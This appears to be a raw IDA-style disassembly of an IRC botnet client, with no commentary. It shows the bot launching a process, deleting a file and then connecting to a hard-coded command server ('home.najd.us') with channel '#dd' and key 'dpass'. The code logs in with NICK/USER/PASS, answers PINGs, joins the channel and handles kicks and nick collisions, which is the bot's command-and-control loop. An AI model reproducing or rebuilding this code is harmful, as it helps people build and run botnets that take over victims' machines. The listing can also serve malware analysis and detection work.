		lea	eax, [ebp+var_988]
		push	offset dword_433150
		push	eax
		call	sub_4154E7
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C96F
		push	0C8h
		call	dword_421060	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_43A2F8	; WSACleanup
		push	ebx
		call	dword_421114	; ExitProcess

loc_40C96F:				; CODE XREF: sub_40C682+141j
					; sub_40C682+2C3j
		cmp	dword_4694B0, 2
		jle	short loc_40C9BB
		mov	eax, dword_4694B4
		push	dword ptr [eax+4]
		call	sub_415A5F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_421128	; WaitForSingleObject
		push	esi
		call	dword_42106C	; CloseHandle
		mov	eax, dword_4694B4
		cmp	[eax+8], ebx
		jz	short loc_40C9BB
		push	7D0h
		call	dword_421060	; Sleep
		mov	eax, dword_4694B4
		push	dword ptr [eax+8]
		call	dword_421118	; DeleteFileA

loc_40C9BB:				; CODE XREF: sub_40C682+2F4j
					; sub_40C682+31Ej
		cmp	dword_42C198, ebx
		jz	short loc_40C9D8
		cmp	dword_43A468, ebx
		jnz	short loc_40C9D8
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40B3AE
		pop	ecx

loc_40C9D8:				; CODE XREF: sub_40C682+33Fj
					; sub_40C682+347j
		lea	eax, [ebp+var_E4]
		push	offset dword_433124
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_414F93
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40B16D
		push	0B80h
		push	ebx
		push	offset dword_43E7A8
		call	sub_415570
		call	sub_415543
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_468824
		mov	dword_46899C, ebx
		call	sub_416D40
		mov	eax, dword_42C17C
		push	3Fh
		mov	edi, offset dword_4688A4
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_468974, eax
		call	sub_416D40
		push	3Fh
		mov	esi, offset dword_4688E4
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 48h
		mov	dword_468978, ebx

loc_40CA66:				; CODE XREF: sub_40C682+48Aj
					; sub_40C682+495j ...
		mov	[ebp+var_4], ebx

loc_40CA69:				; CODE XREF: sub_40C682+43Ej
		cmp	dword_43A480, ebx
		jnz	short loc_40CA87
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	dword_43A2DC	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40CA87
		push	7530h
		jmp	short loc_40CAB3
; ---------------------------------------------------------------------------

loc_40CA87:				; CODE XREF: sub_40C682+3EDj
					; sub_40C682+3FCj
		push	offset dword_468820
		mov	dword_468998, ebx
		call	sub_40CB75
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40CB61
		cmp	dword_468998, ebx
		jz	short loc_40CAAE
		dec	[ebp+var_4]

loc_40CAAE:				; CODE XREF: sub_40C682+427j
		push	0BB8h

loc_40CAB3:				; CODE XREF: sub_40C682+403j
		call	dword_421060	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40CA69
		cmp	[ebp+var_8], 2
		jz	loc_40CB61
		cmp	[ebp+var_C], ebx
		jz	short loc_40CB11
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_468824
		call	sub_416D40
		mov	eax, dword_42C17C
		push	3Fh
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_468974, eax
		call	sub_416D40
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40CA66
; ---------------------------------------------------------------------------

loc_40CB11:				; CODE XREF: sub_40C682+44Dj
		cmp	byte_42C1DC, bl
		jz	loc_40CA66
		push	7Fh
		push	offset byte_42C1DC
		push	offset dword_468824
		call	sub_416D40
		mov	eax, dword_42C180
		push	3Fh
		push	offset aDd_1	; "#dd"
		push	edi
		mov	dword_468974, eax
		call	sub_416D40
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40CA66
; ---------------------------------------------------------------------------

loc_40CB61:				; CODE XREF: sub_40C682+41Bj
					; sub_40C682+444j
		call	sub_41515C

loc_40CB66:				; CODE XREF: sub_40C682+AEj
					; sub_40C682+BEj
		call	dword_43A2F8	; WSACleanup

loc_40CB6C:				; CODE XREF: sub_40C682+A1j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40C682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB75	proc near		; CODE XREF: sub_40C682+410p
					; DATA XREF: sub_40CE55+39D7o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40CB9A:				; CODE XREF: sub_40CB75+E6j
					; sub_40CB75+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43A398	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A05B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CCC7
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415570
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_46898C
		push	dword_42C1A4
		push	eax
		call	sub_414433
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43F540
		push	edi
		push	eax
		call	sub_416D40
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43A418	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43F534[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC60
		push	esi
		call	dword_43A430	; closesocket
		call	sub_40A084
		push	7D0h

loc_40CC55:				; CODE XREF: sub_40CB75+146j
		call	dword_421060	; Sleep
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------

loc_40CC60:				; CODE XREF: sub_40CB75+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_43315C
		call	sub_40B1E1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CCDD
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43A430	; closesocket
		test	edi, edi
		jz	loc_40CB9A
		cmp	edi, 1
		jnz	short loc_40CCBD
		push	0DBBA0h
		jmp	short loc_40CC55
; ---------------------------------------------------------------------------

loc_40CCBD:				; CODE XREF: sub_40CB75+13Fj
		cmp	edi, 2
		jz	short loc_40CCCB
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------

loc_40CCC7:				; CODE XREF: sub_40CB75+5Aj
		xor	eax, eax
		jmp	short loc_40CCD7
; ---------------------------------------------------------------------------

loc_40CCCB:				; CODE XREF: sub_40CB75+14Bj
		push	[ebp+var_34]
		call	sub_4152AF
		pop	ecx
		push	2
		pop	eax

loc_40CCD7:				; CODE XREF: sub_40CB75+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40CB75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCDD	proc near		; CODE XREF: sub_40CB75+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40CCFB:				; CODE XREF: sub_40CCDD+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CCFB
		cmp	byte_468990, bl
		jz	short loc_40CD22
		push	offset byte_468990
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412D06
		add	esp, 0Ch

loc_40CD22:				; CODE XREF: sub_40CCDD+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414433
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4154E7
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD8C
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket
		push	1388h
		call	dword_421060	; Sleep

loc_40CD85:				; CODE XREF: sub_40CCDD+D9j
					; sub_40CCDD+153j
		xor	eax, eax

loc_40CD87:				; CODE XREF: sub_40CCDD+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CD8C:				; CODE XREF: sub_40CCDD+92j
					; sub_40CCDD+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3B0	; recv
		test	eax, eax
		jle	short loc_40CD85
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409A3B
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CD8C
		lea	edi, [ebp+var_A10]

loc_40CDDD:				; CODE XREF: sub_40CCDD+165j
		push	1
		pop	esi

loc_40CDE0:				; CODE XREF: sub_40CCDD+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CE55
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CE23
		push	7D0h
		call	dword_421060	; Sleep
		jmp	short loc_40CDE0
; ---------------------------------------------------------------------------

loc_40CE23:				; CODE XREF: sub_40CCDD+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CE4D
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CE49
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CD85
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CDDD
		jmp	loc_40CD8C
; ---------------------------------------------------------------------------

loc_40CE49:				; CODE XREF: sub_40CCDD+14Ej
		push	1
		jmp	short loc_40CE4F
; ---------------------------------------------------------------------------

loc_40CE4D:				; CODE XREF: sub_40CCDD+149j
		push	2

loc_40CE4F:				; CODE XREF: sub_40CCDD+16Ej
		pop	eax
		jmp	loc_40CD87
sub_40CCDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE55	proc near		; CODE XREF: sub_40CCDD+12Ap

var_159C	= byte ptr -159Ch
var_119C	= byte ptr -119Ch
var_F9C		= byte ptr -0F9Ch
var_D9C		= byte ptr -0D9Ch
var_C9C		= byte ptr -0C9Ch
var_C98		= byte ptr -0C98h
var_B98		= byte ptr -0B98h
var_B94		= byte ptr -0B94h
var_A94		= byte ptr -0A94h
var_A14		= byte ptr -0A14h
var_9B3		= byte ptr -9B3h
var_9B2		= byte ptr -9B2h
var_9B0		= byte ptr -9B0h
var_9AF		= byte ptr -9AFh
var_9A6		= byte ptr -9A6h
var_9A4		= byte ptr -9A4h
var_9A2		= byte ptr -9A2h
var_9A1		= byte ptr -9A1h
var_914		= dword	ptr -914h
var_910		= byte ptr -910h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= byte ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= dword	ptr -7F4h
var_7F0		= byte ptr -7F0h
var_788		= byte ptr -788h
var_77C		= byte ptr -77Ch
var_778		= dword	ptr -778h
var_774		= byte ptr -774h
var_770		= byte ptr -770h
var_718		= dword	ptr -718h
var_710		= byte ptr -710h
var_704		= dword	ptr -704h
var_700		= byte ptr -700h
var_6FC		= byte ptr -6FCh
var_6F8		= dword	ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= byte ptr -6F0h
var_689		= byte ptr -689h
var_688		= byte ptr -688h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_674		= byte ptr -674h
var_670		= byte ptr -670h
var_600		= byte ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= byte ptr -5F0h
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_548		= byte ptr -548h
var_4F8		= dword	ptr -4F8h
var_4F4		= byte ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= byte ptr -4ECh
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= byte ptr -4D4h
var_4AC		= byte ptr -4ACh
var_48C		= dword	ptr -48Ch
var_474		= byte ptr -474h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= byte ptr -448h
var_444		= byte ptr -444h
var_430		= byte ptr -430h
var_420		= byte ptr -420h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_3E8		= byte ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C4		= byte ptr -3C4h
var_3A0		= byte ptr -3A0h
var_384		= byte ptr -384h
var_374		= byte ptr -374h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2D8		= word ptr -2D8h
var_2D6		= word ptr -2D6h
var_2D4		= dword	ptr -2D4h
var_2C8		= byte ptr -2C8h
var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_415D70
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_98], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C8], ebx
		call	sub_415570
		push	1Bh
		lea	eax, [ebp+var_564]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D40
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40D219
		push	esi
		lea	eax, [ebp+var_F9C]
		push	ebx
		push	eax
		call	sub_415570
		dec	esi
		lea	eax, [ebp+var_F9C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_F9C]
		push	offset asc_436588 ; " :"
		push	eax
		call	sub_415AC0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_F9C]
		push	esi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416D40
		mov	esi, offset asc_426A00 ; " "
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_416C98
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_A8], 1Fh

loc_40CF28:				; CODE XREF: sub_40CE55+E7j
		push	esi
		push	ebx
		call	sub_416C98
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_40CF28
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40D219
		cmp	[ebp+var_90], ebx
		jz	loc_40D219
		push	100h
		lea	eax, [ebp+var_A14]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_40CF76:				; CODE XREF: sub_40CE55+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CFA2
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CFAA
		cmp	[eax+2], bl
		jnz	short loc_40CFAA
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A14], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40CFA2:				; CODE XREF: sub_40CE55+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CF76

loc_40CFAA:				; CODE XREF: sub_40CE55+12Aj
					; sub_40CE55+12Fj
		cmp	[ebp+var_9A1], bl
		jz	short loc_40CFB5
		mov	[ebp+var_8], edi

loc_40CFB5:				; CODE XREF: sub_40CE55+15Bj
		cmp	[ebp+var_9A6], bl
		jz	short loc_40CFC3
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40CFC3:				; CODE XREF: sub_40CE55+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CFFD
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_C4]
		push	offset dword_42F3E4
		push	eax
		call	sub_416C98
		add	esp, 20h

loc_40CFFD:				; CODE XREF: sub_40CE55+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D04E
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40D0F2
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 10h
		jmp	loc_40D0F2
; ---------------------------------------------------------------------------

loc_40D04E:				; CODE XREF: sub_40CE55+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1A
		push	esi
		push	offset a005	; "005"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1A
		push	esi
		push	offset a302	; "302"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0B9
		push	offset a@_6	; "@"
		push	[ebp+var_88]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D0F2
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_416D40
		add	esp, 0Ch
		jmp	short loc_40D0F2
; ---------------------------------------------------------------------------

loc_40D0B9:				; CODE XREF: sub_40CE55+238j
		push	esi
		push	offset a433	; "433"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0F9
		push	ebx
		push	dword_46898C
		push	dword_42C1A4
		push	[ebp+arg_10]
		call	sub_414433
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 1Ch

loc_40D0F2:				; CODE XREF: sub_40CE55+1D8j
					; sub_40CE55+1F4j ...
		mov	eax, edi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_40D0F9:				; CODE XREF: sub_40CE55+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 2
		mov	edi, 80h

loc_40D10B:				; CODE XREF: sub_40CE55+2DBj
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D128
		mov	[ebp+var_98], 1

loc_40D128:				; CODE XREF: sub_40CE55+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_40D10B
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D221
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40D157:				; CODE XREF: sub_40CE55+38Fj
		cmp	[esi], bl
		jz	loc_40D1DF
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D1DF
		cmp	[ebp+var_88], ebx
		jz	short loc_40D1DF
		push	[ebp+var_88]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1DF
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436514
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	esp, 20h

loc_40D1DF:				; CODE XREF: sub_40CE55+304j
					; sub_40CE55+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40D157
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D219
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40D20E:				; CODE XREF: sub_40CE55+615j
					; sub_40CE55+96Cj
		push	[ebp+arg_4]
		call	sub_412D06

loc_40D216:				; CODE XREF: sub_40CE55+51FEj
					; sub_40CE55+521Bj ...
		add	esp, 10h

loc_40D219:				; CODE XREF: sub_40CE55+5Bj
					; sub_40CE55+F1j ...
		push	1

loc_40D21B:				; CODE XREF: sub_40CE55+5745j
		pop	eax

loc_40D21C:				; CODE XREF: sub_40CE55+29Fj
					; sub_40CE55+2164j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D221:				; CODE XREF: sub_40CE55+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D377
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40D24A:				; CODE XREF: sub_40CE55+447j
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D297
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40D297
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415C00
		push	[ebp+arg_1C]
		push	edi
		call	sub_415C10
		add	esp, 10h
		mov	edi, 80h

loc_40D297:				; CODE XREF: sub_40CE55+406j
					; sub_40CE55+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40D24A
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_40D219
		cmp	[ebp+arg_24], ebx
		jz	loc_40D219
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2DF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_416D40
		add	esp, 0Ch
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D2DF:				; CODE XREF: sub_40CE55+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40D2E4:				; CODE XREF: sub_40CE55+4B0j
		cmp	[edi], bl
		jz	short loc_40D2FB
		lea	eax, [ebp+var_A94]
		push	eax
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D30C

loc_40D2FB:				; CODE XREF: sub_40CE55+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D2E4
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D30C:				; CODE XREF: sub_40CE55+4A4j
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40D219
		push	eax
		call	sub_415CF0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40D219
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_4AC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: sub_40CE55+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_415910
		pop	ecx
		test	eax, eax
